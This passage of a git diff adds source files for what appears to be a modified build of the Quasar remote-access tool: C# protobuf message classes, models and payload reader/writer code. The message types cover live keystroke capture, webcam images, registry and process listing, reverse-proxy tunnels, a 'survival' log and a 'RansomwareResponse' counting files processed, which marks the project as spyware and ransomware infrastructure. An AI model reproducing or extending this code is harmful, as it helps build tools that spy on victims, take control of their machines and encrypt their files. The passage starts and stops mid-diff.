100755 index 0000000..4d1a4b8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitorsResponse : IMessage + { + [ProtoMember(1)] + public int Number { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs new file mode 100755 index 0000000..99553a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetProcesses.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcesses : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs new file mode 100755 index 0000000..c202424 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetProcessesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetProcessesResponse : IMessage + { + [ProtoMember(1)] + public Process[] Processes { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs new file mode 100755 index 0000000..485b356 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRegistryKeysResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRegistryKeysResponse : IMessage + { + [ProtoMember(1)] + public RegSeekerMatch[] Matches { get; set; } + + [ProtoMember(2)] + public string RootKey { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs new file mode 100755 index 0000000..d523c72 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs new file mode 100755 index 0000000..ca6ca7c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetRenameRegistryValueResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetRenameRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + + [ProtoMember(4)] + public bool IsError { get; set; } + + [ProtoMember(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs new file mode 100755 index 0000000..05b7c1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItems.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItems : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs new file mode 100755 index 0000000..9dd2eda --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetStartupItemsResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using Quasar.Common.Models; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetStartupItemsResponse : IMessage + { + [ProtoMember(1)] + public List StartupItems { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs new file mode 100755 index 0000000..34c67b7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfo.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfo : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs new file mode 100755 index 0000000..ff7243b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetSystemInfoResponse.cs @@ -0,0 +1,13 @@ +using ProtoBuf; +using System; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetSystemInfoResponse : IMessage + { + [ProtoMember(1)] + public List> SystemInfos { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs new file mode 100755 index 0000000..1aa5c26 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcamResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs new file mode 100755 index 0000000..7256e7a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcams.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcams : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs new file mode 100755 index 0000000..a605a91 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetWebcamsResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetWebcamsResponse : IMessage + { + [ProtoMember(1)] + public string Webcams { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs b/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs new file mode 100755 index 0000000..636aa99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/IMessage.cs @@ -0,0 +1,6 @@ +namespace Quasar.Common.Messages +{ + public interface IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs b/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs new file mode 100755 index 0000000..61bfc77 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/IMessageProcessor.cs @@ -0,0 +1,31 @@ +using Quasar.Common.Networking; + +namespace Quasar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs b/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs new file mode 100755 index 0000000..1aeb734 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/LiveKeystrokeData.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class LiveKeystrokeData : IMessage + { + [ProtoMember(1)] + public string WindowTitle { get; set; } + + [ProtoMember(2)] + public string Keystroke { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs b/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs new file mode 100755 index 0000000..7982a78 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/MessageHandler.cs @@ -0,0 +1,66 @@ +using Quasar.Common.Networking; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + public static void Process(ISender sender, IMessage msg) + { + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + executor.Execute(sender, msg); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs b/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs new file mode 100755 index 0000000..f84cf82 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/MessageProcessorBase.cs @@ -0,0 +1,107 @@ +using Quasar.Common.Networking; +using System; +using System.Threading; + +namespace Quasar.Common.Messages +{ + /// + /// Provides a MessageProcessor implementation that provides progress report callbacks. + /// + /// Specifies the type of the progress report value. + /// + /// Any event handlers registered with the event are invoked through a + /// instance chosen when the instance is constructed. + /// + public abstract class MessageProcessorBase : IMessageProcessor, IProgress + { + /// + /// The synchronization context chosen upon construction. + /// + protected readonly SynchronizationContext SynchronizationContext; + + /// + /// A cached delegate used to post invocation to the synchronization context. + /// + private readonly SendOrPostCallback _invokeReportProgressHandlers; + + /// + /// Represents the method that will handle progress updates. + /// + /// The message processor which updated the progress. + /// The new progress. + public delegate void ReportProgressEventHandler(object sender, T value); + + /// + /// Raised for each reported progress value. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ReportProgressEventHandler ProgressChanged; + + /// + /// Reports a progress change. + /// + /// The value of the updated progress. + protected virtual void OnReport(T value) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeReportProgressHandlers, value); + } + } + + /// + /// Initializes the + /// + /// + /// If this value is false, the progress callbacks will be invoked on the ThreadPool. + /// Otherwise the current SynchronizationContext will be used. + /// + protected MessageProcessorBase(bool useCurrentContext) + { + _invokeReportProgressHandlers = InvokeReportProgressHandlers; + SynchronizationContext = useCurrentContext ? SynchronizationContext.Current : ProgressStatics.DefaultContext; + } + + /// + /// Invokes the progress event callbacks. + /// + /// The progress value. + private void InvokeReportProgressHandlers(object state) + { + var handler = ProgressChanged; + handler?.Invoke(this, (T)state); + } + + /// + public abstract bool CanExecute(IMessage message); + + /// + public abstract bool CanExecuteFrom(ISender sender); + + /// + public abstract void Execute(ISender sender, IMessage message); + + void IProgress.Report(T value) => OnReport(value); + } + + /// + /// Holds static values for . + /// + /// + /// This avoids one static instance per type T. + /// + internal static class ProgressStatics + { + /// + /// A default synchronization context that targets the . + /// + internal static readonly SynchronizationContext DefaultContext = new SynchronizationContext(); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs b/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs new file mode 100755 index 0000000..2ae6a61 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/NewSurvivalLog.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class NewSurvivalLog : IMessage + { + [ProtoMember(1)] + public string Log { get; set; } + + [ProtoMember(2)] + public string LogType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs new file mode 100755 index 0000000..3ed48c4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/RansomwareResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class RansomwareResponse : IMessage + { + [ProtoMember(1)] + public string Status { get; set; } + + [ProtoMember(2)] + public int FilesProcessed { get; set; } + + [ProtoMember(3)] + public string Message { get; set; } + + [ProtoMember(4)] + public bool IsComplete { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs new file mode 100755 index 0000000..cd870ea --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnect.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public string Target { get; set; } + + [ProtoMember(3)] + public int Port { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs new file mode 100755 index 0000000..57fa857 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyConnectResponse.cs @@ -0,0 +1,23 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyConnectResponse : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public bool IsConnected { get; set; } + + [ProtoMember(3)] + public byte[] LocalAddress { get; set; } + + [ProtoMember(4)] + public int LocalPort { get; set; } + + [ProtoMember(5)] + public string HostName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs new file mode 100755 index 0000000..5f34679 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyData.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyData : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs new file mode 100755 index 0000000..2399e06 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/ReverseProxy/ReverseProxyDisconnect.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages.ReverseProxy +{ + [ProtoContract] + public class ReverseProxyDisconnect : IMessage + { + [ProtoMember(1)] + public int ConnectionId { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs new file mode 100755 index 0000000..b91a2f9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetStatus.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatus : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs new file mode 100755 index 0000000..ee6f5b8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetStatusFileManager.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetStatusFileManager : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + + [ProtoMember(2)] + public bool SetLastDirectorySeen { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs b/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs new file mode 100755 index 0000000..798d847 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SetUserStatus : IMessage + { + [ProtoMember(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs new file mode 100755 index 0000000..6efdfcb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/SystemOptionResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class SystemOptionResponse : IMessage + { + [ProtoMember(1)] + public string Message { get; set; } + + [ProtoMember(2)] + public bool Success { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs b/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs new file mode 100755 index 0000000..4b1376f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,49 @@ +using ProtoBuf.Meta; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Common.Messages +{ + public static class TypeRegistry + { + /// + /// The internal index of the message type. + /// + private static int _typeIndex; + + /// + /// Adds a Type to the serializer so a message can be properly serialized. + /// + /// The parent type, i.e.: IMessage + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + if (type == null || parent == null) + throw new ArgumentNullException(); + + bool isAlreadyAdded = RuntimeTypeModel.Default[parent].GetSubtypes().Any(subType => subType.DerivedType.Type == type); + + if (!isAlreadyAdded) + RuntimeTypeModel.Default[parent].AddSubType(++_typeIndex, type); + } + + /// + /// Adds Types to the serializer. + /// + /// The parent type, i.e.: IMessage + /// Types to add. + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + foreach (Type type in types) + AddTypeToSerializer(parent, type); + } + + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/Drive.cs b/Quasar-1.4.1/Quasar.Common/Models/Drive.cs new file mode 100755 index 0000000..dfae29f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Drive + { + [ProtoMember(1)] + public string DisplayName { get; set; } + + [ProtoMember(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs b/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs new file mode 100755 index 0000000..cab5564 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileChunk + { + [ProtoMember(1)] + public long Offset { get; set; } + + [ProtoMember(2)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs b/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs new file mode 100755 index 0000000..216a77f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +using System; +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class FileSystemEntry + { + [ProtoMember(1)] + public FileType EntryType { get; set; } + + [ProtoMember(2)] + public string Name { get; set; } + + [ProtoMember(3)] + public long Size { get; set; } + + [ProtoMember(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [ProtoMember(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/Process.cs b/Quasar-1.4.1/Quasar.Common/Models/Process.cs new file mode 100755 index 0000000..a28496c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/Process.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class Process + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public int Id { get; set; } + + [ProtoMember(3)] + public string MainWindowTitle { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs b/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs new file mode 100755 index 0000000..3ea4bf5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/RegSeekerMatch.cs @@ -0,0 +1,22 @@ +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegSeekerMatch + { + [ProtoMember(1)] + public string Key { get; set; } + + [ProtoMember(2)] + public RegValueData[] Data { get; set; } + + [ProtoMember(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() + { + return $"({Key}:{Data})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs b/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs new file mode 100755 index 0000000..08a96b6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/RegValueData.cs @@ -0,0 +1,18 @@ +using Microsoft.Win32; +using ProtoBuf; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class RegValueData + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + + [ProtoMember(3)] + public byte[] Data { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs b/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs new file mode 100755 index 0000000..0e1a090 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/StartupItem.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class StartupItem + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public string Path { get; set; } + + [ProtoMember(3)] + public StartupType Type { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs b/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs new file mode 100755 index 0000000..40c4538 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class TcpConnection + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public string LocalAddress { get; set; } + + [ProtoMember(3)] + public ushort LocalPort { get; set; } + + [ProtoMember(4)] + public string RemoteAddress { get; set; } + + [ProtoMember(5)] + public ushort RemotePort { get; set; } + + [ProtoMember(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/NativeMethods.cs b/Quasar-1.4.1/Quasar.Common/NativeMethods.cs new file mode 100755 index 0000000..94f8fcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/NativeMethods.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs b/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs new file mode 100755 index 0000000..0f06b24 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/ISender.cs @@ -0,0 +1,10 @@ +using Quasar.Common.Messages; + +namespace Quasar.Common.Networking +{ + public interface ISender + { + void Send(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs b/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs new file mode 100755 index 0000000..c1ad7fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/PayloadReader.cs @@ -0,0 +1,75 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadReader : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen) + { + _innerStream = new MemoryStream(payload, 0, length, false, true); + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public PayloadReader(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public int ReadInteger() + { + return BitConverter.ToInt32(ReadBytes(4), 0); + } + + public byte[] ReadBytes(int length) + { + if (_innerStream.Position + length <= _innerStream.Length) + { + byte[] result = new byte[length]; + _innerStream.Read(result, 0, result.Length); + return result; + } + throw new OverflowException($"Unable to read {length} bytes from stream"); + } + + /// + /// Reads the serialized message of the payload and deserializes it. + /// + /// The deserialized message of the payload. + public IMessage ReadMessage() + { + ReadInteger(); + /* Length prefix is ignored here and already handled in Client class, + * it would cause to much trouble to check here for split or not fully + * received packets. + */ + IMessage message = Serializer.Deserialize(_innerStream); + return message; + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs b/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs new file mode 100755 index 0000000..000d808 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Networking/PayloadWriter.cs @@ -0,0 +1,65 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadWriter : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadWriter(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public void WriteBytes(byte[] value) + { + _innerStream.Write(value, 0, value.Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// Writes a serialized message as payload to the stream. + /// + /// The message to write. + /// The amount of written bytes to the stream. + public int WriteMessage(IMessage message) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, message); + byte[] payload = ms.ToArray(); + WriteInteger(payload.Length); + WriteBytes(payload); + return sizeof(int) + payload.Length; + } + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..6f846df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Quasar Common")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © 